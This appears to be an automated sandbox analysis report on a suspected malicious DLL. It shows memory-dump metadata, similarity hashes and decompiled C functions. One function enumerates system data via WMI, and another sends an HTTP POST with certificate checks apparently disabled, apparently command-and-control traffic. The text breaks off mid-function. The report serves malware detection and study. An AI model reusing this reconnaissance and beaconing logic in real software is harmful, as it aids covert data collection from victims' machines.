0x6d806fa4
0x6d806fec
0x6d806fa6
0x6d806fa6
0x6d806fa9
0x6d806fb0
0x6d806fb6
0x6d806fb9
0x6d806fbc
0x6d806fbf
0x6d806fc2
0x6d806fc5
0x6d806fcb
0x6d806fd9
0x6d806fdc
0x6d806fdf
0x6d806fe8
0x6d806fe8
0x6d806ff2
0x6d806ff8
0x6d806ffb
0x6d807002
0x6d807002
0x6d8073b5
0x6d8073b5
0x6d8073b8
0x6d8073ba
0x6d8073bf
0x6d8073ce
0x6d8073da
0x6d8073df
0x6d8073df
0x6d8073d0
0x6d8073d0
0x6d8073d5
0x6d8073d5
0x6d8073d5
0x6d8073c1
0x6d8073c1
0x6d8073c6
0x6d8073c6
0x6d8073c6
0x00000000
0x6d8073bf
0x6d806f5e
0x6d806f53
0x6d806f56
0x6d8073e4
0x00000000
0x6d8073e4
0x00000000
0x6d8073e7
0x6d8073e7
0x6d8073eb
0x6d8073eb
0x6d8073eb
0x00000000
0x6d806f34

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0050a3338128a3e29d0738b8ec7b1954f4e7d535beab72997c1b6becb188d890
Instruction ID: 6beba2b9eaab9dd354c2801a69ca65b4e4513b506fec3a8fe76a69347661ad95
Opcode Fuzzy Hash: 0050a3338128a3e29d0738b8ec7b1954f4e7d535beab72997c1b6becb188d890
Instruction Fuzzy Hash: 8CF18F755092118FC705CF28C8D88F57BF5AFA9310B1E86FDD8899B3A6D7319980CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D805000, Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee9c68616622565607c18f3a4400451ce1132439068e723f59b34e784d354eaf
Instruction ID: 4a293d6ef004cdcce11fc47c2ea7cb7563127a3396c6e63e0ad2baa51463573a
Opcode Fuzzy Hash: ee9c68616622565607c18f3a4400451ce1132439068e723f59b34e784d354eaf
Instruction Fuzzy Hash: 1D7122356205654FDB44DE2AD8D47BA33B1E7CF30138A855EEA41CB385C634E526CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6D801790, Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81418d315807b5ef56ddee39cf56351488aa5d3834dbaf05880734dc3f7149f1
Instruction ID: 8f283b2cbb8a34b4a8644907dc3bf037e7c7015f32a361d312723bff15d0ffe2
Opcode Fuzzy Hash: 81418d315807b5ef56ddee39cf56351488aa5d3834dbaf05880734dc3f7149f1
Instruction Fuzzy Hash: 92518AB3B041B00BDF5C8E3E8C642757ED25AC515570EC27AF8A9CB24AE978C7059760

Uniqueness

Uniqueness Score: -1.00%

Function 6D86F5BC, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.508355511.000000006D86F000.00000040.00020000.sdmp, Offset: 6D86F000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: 2c33e44e1e7b66a95c8ba00a4eb8b6590c12430a7ca06d3cf2cf90dc954afa84
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: F111D3733441009FD714CE59EC85EA673DAFBA9230B258466EE04CB311E776E811C760

Uniqueness

Uniqueness Score: -1.00%

Function 6D80237E, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cf50d08cac5b3779ceed37f6d8f1fb120d800d4d1c65b7abe1cf510536efa5c
Instruction ID: 206d6691ed8ebb2c6306397e8f337d8e8be235a0561d5e1984965312c39c61ec
Opcode Fuzzy Hash: 3cf50d08cac5b3779ceed37f6d8f1fb120d800d4d1c65b7abe1cf510536efa5c
Instruction Fuzzy Hash: CD21A1366154128BD71CCF2CD8A6B69F3A5FB88210F85427ED51BCB682CB72E452CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86F8B1, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.508355511.000000006D86F000.00000040.00020000.sdmp, Offset: 6D86F000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction ID: b16db53457b67c804ebeb7e9aa205fbff289802df192d540feab654800446b15
Opcode Fuzzy Hash: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction Fuzzy Hash: 600104363542868FD709CF29E888E79B7E4EBD2334B15C4BEE44683619D134E442CA70

Uniqueness

Uniqueness Score: -1.00%

Function 6D870381, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.508355511.000000006D86F000.00000040.00020000.sdmp, Offset: 6D86F000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1692fcf469ac399192cf263beddbaf899dc349d3e9169b0447cb3cec49d2837e
Instruction ID: 78f8749d61a0bb3fc1b75b591c557a831020aa655b7d9d641d7e19e066ba6fe6
Opcode Fuzzy Hash: 1692fcf469ac399192cf263beddbaf899dc349d3e9169b0447cb3cec49d2837e
Instruction Fuzzy Hash: 30F0F131A15171ABEF239A378C88A437F63EB9F6A030685D1D4095902DDB721422EB82

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FDB7E, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6D7FDB7E(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E6D7FD565(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E6D7F85E5(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E6D7F85FB( &_v60, 0xfffffffe);
					E6D7FD619( &_v104);
					return _t320;
				}
				_t165 = E6D7F95C2(_t255, 0x536);
				 *_t328 = 0x609;
				_v52 = _t165;
				_t166 = E6D7F95C2(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E6D7F92C6(_t165);
				_v60 = _t322;
				E6D7F85B6( &_v52);
				E6D7F85B6( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E6D7F95C2(_t255, 0x9e4);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E6D7F85B6( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E6D7F85FB( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E6D7F91C4(_v100);
							 *((intOrPtr*)(_t320 + 4)) = E6D7F91C4(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E6D7F8679(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E6D7F85E5( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E6D7F85FB(_t136, 0);
								E6D7F85FB( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E6D7F91C4(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E6D7F95C2(_t281, 0x250);
								 *_t329 = 0x4cc;
								_t217 = E6D7F95C2(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E6D7F85E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E6D7F85B6( &_v92);
											E6D7F85B6( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E6D7F9621();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E6D7F85E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E6D7F95C2(_t283, 0x219);
										E6D7F9621( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E6D7F85B6( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E6D7F91C4(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E6D7FDA62( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E6D7F85FB( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

0x6d7fdb87
0x6d7fdb8d
0x6d7fdb94
0x6d7fdb97
0x6d7fdb9a
0x6d7fdb9f
0x6d7fdba1
0x6d7fdba6
0x6d7fdfee
0x6d7fdfee
0x6d7fdbb3
0x6d7fdbb5
0x6d7fdbb8
0x6d7fdbbb
0x6d7fdfd3
0x6d7fdfd9
0x6d7fdfe3
0x00000000
0x6d7fdfe8
0x6d7fdbc6
0x6d7fdbcd
0x6d7fdbd4
0x6d7fdbd7
0x6d7fdbdc
0x6d7fdbde
0x6d7fdbe1
0x6d7fdbe4
0x6d7fdbe5
0x6d7fdbee
0x6d7fdbf4
0x6d7fdbf7
0x6d7fdc00
0x6d7fdc05
0x6d7fdc0a
0x6d7fdc21
0x6d7fdc2e
0x6d7fdc31
0x6d7fdc38
0x6d7fdc3d
0x6d7fdc44
0x6d7fdc49
0x6d7fdc50
0x6d7fdc52
0x6d7fdc5e
0x6d7fdc61
0x6d7fdc63
0x6d7fdfc3
0x6d7fdfc4
0x6d7fdfcd
0x00000000
0x6d7fdfcd
0x6d7fdc69
0x6d7fdc6c
0x6d7fdc6f
0x6d7fdc72
0x6d7fdc74
0x6d7fdf8f
0x6d7fdf92
0x6d7fdf95
0x6d7fdf97
0x6d7fdfb9
0x6d7fdfbe
0x6d7fdf99
0x6d7fdf9c
0x6d7fdfa7
0x6d7fdfae
0x6d7fdfae
0x00000000
0x00000000
0x00000000
0x00000000
0x6d7fdc7a
0x6d7fdc7a
0x6d7fdc8c
0x6d7fdc8f
0x6d7fdc91
0x00000000
0x00000000
0x6d7fdc99
0x6d7fdc9c
0x6d7fdc9f
0x6d7fdca2
0x6d7fdca5
0x6d7fdca8
0x00000000
0x00000000
0x6d7fdcae
0x6d7fdcbc
0x6d7fdcbf
0x6d7fdcc1
0x6d7fdcda
0x6d7fdce9
0x6d7fdcf1
0x6d7fdcf1
0x6d7fdcf4
0x6d7fdcfb
0x6d7fdcff
0x6d7fdd05
0x6d7fdd07
0x6d7fdf77
0x6d7fdf7d
0x6d7fdf83
0x6d7fdf86
0x6d7fdf86
0x00000000
0x6d7fdf86
0x6d7fdd16
0x6d7fdd2a
0x6d7fdd2e
0x6d7fdd30
0x6d7fdd35
0x6d7fdf44
0x6d7fdf4a
0x6d7fdf55
0x6d7fdf60
0x6d7fdf66
0x6d7fdf6c
0x6d7fdf6f
0x00000000
0x6d7fdf6f
0x6d7fdd3b
0x6d7fdf12
0x6d7fdf12
0x6d7fdf15
0x6d7fdf18
0x00000000
0x00000000
0x6d7fdd43
0x6d7fdd4b
0x6d7fdd52
0x6d7fdd58
0x6d7fdd5a
0x00000000
0x00000000
0x6d7fdd63
0x6d7fdd78
0x6d7fdd7e
0x6d7fdd87
0x6d7fdd8a
0x6d7fdd8d
0x6d7fdd8f
0x6d7fdf05
0x6d7fdf08
0x6d7fdf11
0x6d7fdf11
0x00000000
0x6d7fdf11
0x6d7fdd9f
0x6d7fdda2
0x6d7fdda9
0x6d7fddaf
0x6d7fddb2
0x6d7fddb5
0x6d7fddb8
0x6d7fddbb
0x6d7fddf7
0x6d7fddf7
0x6d7fddfa
0x6d7fdea6
0x6d7fdeba
0x6d7fdeca
0x6d7fdece
0x6d7fded0
0x6d7fdee7
0x6d7fdeeb
0x6d7fdef4
0x6d7fdeff
0x00000000
0x6d7fdeff
0x6d7fded6
0x6d7fded7
0x6d7fdedc
0x6d7fdedc
0x6d7fdede
0x6d7fdedf
0x6d7fdee4
0x00000000
0x6d7fdee4
0x6d7fde00
0x6d7fde00
0x6d7fde03
0x6d7fde6e
0x6d7fde82
0x6d7fde92
0x6d7fde96
0x6d7fde98
0x00000000
0x00000000
0x6d7fde9e
0x6d7fde9f
0x00000000
0x6d7fde9f
0x6d7fde05
0x6d7fde05
0x6d7fde08
0x00000000
0x00000000
0x6d7fde0a
0x6d7fde0d
0x00000000
0x00000000
0x6d7fde0f
0x6d7fde0f
0x6d7fde15
0x6d7fde31
0x6d7fde40
0x6d7fde49
0x6d7fde4e
0x6d7fde51
0x6d7fde57
0x6d7fde57
0x6d7fde5c
0x6d7fde68
0x00000000
0x6d7fde68
0x6d7fde1a
0x00000000
0x6d7fde1a
0x6d7fddbd
0x6d7fdde4
0x6d7fdde9
0x6d7fddee
0x6d7fddf0
0x6d7fddf0
0x00000000
0x6d7fddee
0x6d7fddbf
0x6d7fddbf
0x6d7fddc2
0x00000000
0x00000000
0x6d7fddc8
0x6d7fddc8
0x6d7fddcb
0x00000000
0x00000000
0x6d7fddd1
0x6d7fddd1
0x6d7fddd4
0x00000000
0x00000000
0x6d7fddda
0x6d7fdddd
0x00000000
0x00000000
0x6d7fdddf
0x00000000
0x6d7fdddf
0x6d7fdf21
0x6d7fdf27
0x6d7fdf2d
0x6d7fdf30
0x6d7fdf33
0x6d7fdf33
0x6d7fdf36
0x6d7fdf37
0x6d7fdf3a
0x6d7fdf3c
0x00000000
0x00000000
0x6d7fdf8c
0x6d7fdf8c
0x00000000
0x6d7fdf8c
0x6d7fdcc3
0x6d7fdcc9
0x00000000
0x6d7fdcc9
0x6d7fdf89
0x00000000
0x6d7fdc0c
0x6d7fdc11
0x6d7fdc16
0x00000000
0x6d7fdc1a

APIs

Part of subcall function 6D7FD565: CoInitializeEx.OLE32(00000000,00000000), ref: 6D7FD578
Part of subcall function 6D7FD565: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 6D7FD589
Part of subcall function 6D7FD565: CoCreateInstance.OLE32(6D80B848,00000000,00000001,6D80B858,?), ref: 6D7FD5A0
Part of subcall function 6D7FD565: SysAllocString.OLEAUT32(00000000), ref: 6D7FD5AB
Part of subcall function 6D7FD565: CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 6D7FD5D6

Part of subcall function 6D7F85E5: HeapAlloc.KERNEL32(00000008,?,?,6D7F8F65,00000100,?,6D7F5FAC), ref: 6D7F85F3

SysAllocString.OLEAUT32(00000000), ref: 6D7FDC27
SysAllocString.OLEAUT32(00000000), ref: 6D7FDC3B
SysFreeString.OLEAUT32(?), ref: 6D7FDFC4
SysFreeString.OLEAUT32(?), ref: 6D7FDFCD

Part of subcall function 6D7F85FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6D7F8641

Strings

TRUE, xrefs: 6D7FDDE9
FALSE, xrefs: 6D7FDDF0

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Alloc$Free$HeapInitialize$BlanketCreateInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 224402418-1412513891
Opcode ID: 0e1651bd93c2ba003bbc066d4942225209491e62fab7f11d00fbdafa4f24e329
Instruction ID: f982e30f6522fbfb929193fc19edb7d305856e16a73eb42f36284548b529714a
Opcode Fuzzy Hash: 0e1651bd93c2ba003bbc066d4942225209491e62fab7f11d00fbdafa4f24e329
Instruction Fuzzy Hash: CDE16271D042099FDB24DFE4CA98EAEBBB5FF49324F10446EE515A7380DB34A902CB56

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FE6AA, Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6D7FE6AA(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr _a24) {
				char _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				int _v76;
				void* _v80;
				intOrPtr _v100;
				int _v104;
				void* _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				char* _v120;
				void _v124;
				char _v140;
				void _v396;
				void _v652;
				intOrPtr _t105;
				intOrPtr _t113;
				intOrPtr* _t115;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t131;
				char _t133;
				intOrPtr _t136;
				char _t138;
				char _t139;
				intOrPtr _t141;
				intOrPtr _t147;
				intOrPtr _t154;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t172;
				intOrPtr _t176;
				void* _t183;
				void* _t185;
				intOrPtr _t186;
				char _t195;
				intOrPtr _t203;
				intOrPtr _t204;
				signed int _t209;
				void _t212;
				intOrPtr _t213;
				void* _t214;
				intOrPtr _t216;
				char _t217;
				intOrPtr _t218;
				signed int _t219;
				signed int _t220;
				void* _t221;

				_v40 = _v40 & 0x00000000;
				_v24 = 4;
				_v36 = 1;
				_t214 = __edx;
				memset( &_v396, 0, 0x100);
				memset( &_v652, 0, 0x100);
				_v64 = E6D7F95A8(0x85b);
				_v60 = E6D7F95A8(0xdc9);
				_v56 = E6D7F95A8(0x65d);
				_v52 = E6D7F95A8(0xdd3);
				_t105 = E6D7F95A8(0xb74);
				_v44 = _v44 & 0;
				_t212 = 0x3c;
				_v48 = _t105;
				memset( &_v124, 0, 0x100);
				_v116 = 0x10;
				_v120 =  &_v140;
				_v124 = _t212;
				_v108 =  &_v396;
				_v104 = 0x100;
				_v80 =  &_v652;
				_push( &_v124);
				_push(0);
				_v76 = 0x100;
				_push(E6D7FC3BB(_t214));
				_t113 =  *0x6d80e6a4; // 0x0
				_push(_t214);
				if( *((intOrPtr*)(_t113 + 0x28))() != 0) {
					_t209 = 0;
					_v20 = 0;
					do {
						_t115 =  *0x6d80e6a4; // 0x0
						_v12 = 0x8404f700;
						_t213 =  *_t115( *0x6d80e788,  *((intOrPtr*)(_t221 + _t209 * 4 - 0x24)), 0, 0, 0);
						if(_t213 != 0) {
							_t195 = 3;
							_t185 = 4;
							_v8 = _t195;
							_t118 =  *0x6d80e6a4; // 0x0
							 *((intOrPtr*)(_t118 + 0x14))(_t213, _t195,  &_v8, _t185);
							_v8 = 0x3a98;
							_t121 =  *0x6d80e6a4; // 0x0
							 *((intOrPtr*)(_t121 + 0x14))(_t213, 2,  &_v8, _t185);
							_v8 = 0x493e0;
							_t124 =  *0x6d80e6a4; // 0x0
							 *((intOrPtr*)(_t124 + 0x14))(_t213, 6,  &_v8, _t185);
							_v8 = 0x493e0;
							_t127 =  *0x6d80e6a4; // 0x0
							 *((intOrPtr*)(_t127 + 0x14))(_t213, 5,  &_v8, _t185);
							_t131 =  *0x6d80e6a4; // 0x0
							_t186 =  *((intOrPtr*)(_t131 + 0x1c))(_t213,  &_v396, _v100, 0, 0, 3, 0, 0);
							if(_a24 != 0) {
								E6D7F97ED(_a24);
							}
							if(_t186 != 0) {
								_t133 = 0x8484f700;
								if(_v112 != 4) {
									_t133 = _v12;
								}
								_t136 =  *0x6d80e6a4; // 0x0
								_t216 =  *((intOrPtr*)(_t136 + 0x20))(_t186, "POST",  &_v652, 0, 0,  &_v64, _t133, 0);
								_v8 = _t216;
								if(_a24 != 0) {
									E6D7F97ED(_a24);
								}
								if(_t216 != 0) {
									_t138 = 4;
									if(_v112 != _t138) {
										L19:
										_t139 = E6D7F95A8(0x777);
										_t217 = _t139;
										_v12 = _t217;
										_t141 =  *0x6d80e6a4; // 0x0
										_t218 = _v8;
										_v28 =  *((intOrPtr*)(_t141 + 0x24))(_t218, _t217, E6D7FC3BB(_t217), _a4, _a8);
										E6D7F85A3( &_v12);
										if(_a24 != 0) {
											E6D7F97ED(_a24);
										}
										if(_v28 != 0) {
											L28:
											_v24 = 8;
											_push(0);
											_v32 = 0;
											_v28 = 0;
											_push( &_v24);
											_push( &_v32);
											_t147 =  *0x6d80e6a4; // 0x0
											_push(0x13);
											_push(_t218);
											if( *((intOrPtr*)(_t147 + 0xc))() != 0) {
												_t219 = E6D7F972A( &_v32);
												if(_t219 == 0xc8) {
													 *_a20 = _v8;
													 *_a12 = _t213;
													 *_a16 = _t186;
													return 0;
												}
												_t220 =  ~_t219;
												L32:
												_t154 =  *0x6d80e6a4; // 0x0
												 *((intOrPtr*)(_t154 + 8))(_v8);
												L33:
												if(_t186 != 0) {
													_t158 =  *0x6d80e6a4; // 0x0
													 *((intOrPtr*)(_t158 + 8))(_t186);
												}
												if(_t213 != 0) {
													_t203 =  *0x6d80e6a4; // 0x0
													 *((intOrPtr*)(_t203 + 8))(_t213);
												}
												return _t220;
											}
											GetLastError();
											_t220 = 0xfffffff8;
											goto L32;
										} else {
											GetLastError();
											_t162 =  *0x6d80e6a4; // 0x0
											 *((intOrPtr*)(_t162 + 8))(_t218);
											_t218 = 0;
											goto L23;
										}
									}
									_v12 = _t138;
									_push( &_v12);
									_push( &_v16);
									_t172 =  *0x6d80e6a4; // 0x0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t172 + 0x18))() == 0) {
										L18:
										GetLastError();
										goto L19;
									}
									_v16 = _v16 | 0x00003380;
									_push(4);
									_push( &_v16);
									_t176 =  *0x6d80e6a4; // 0x0
									_push(0x1f);
									_push(_t216);
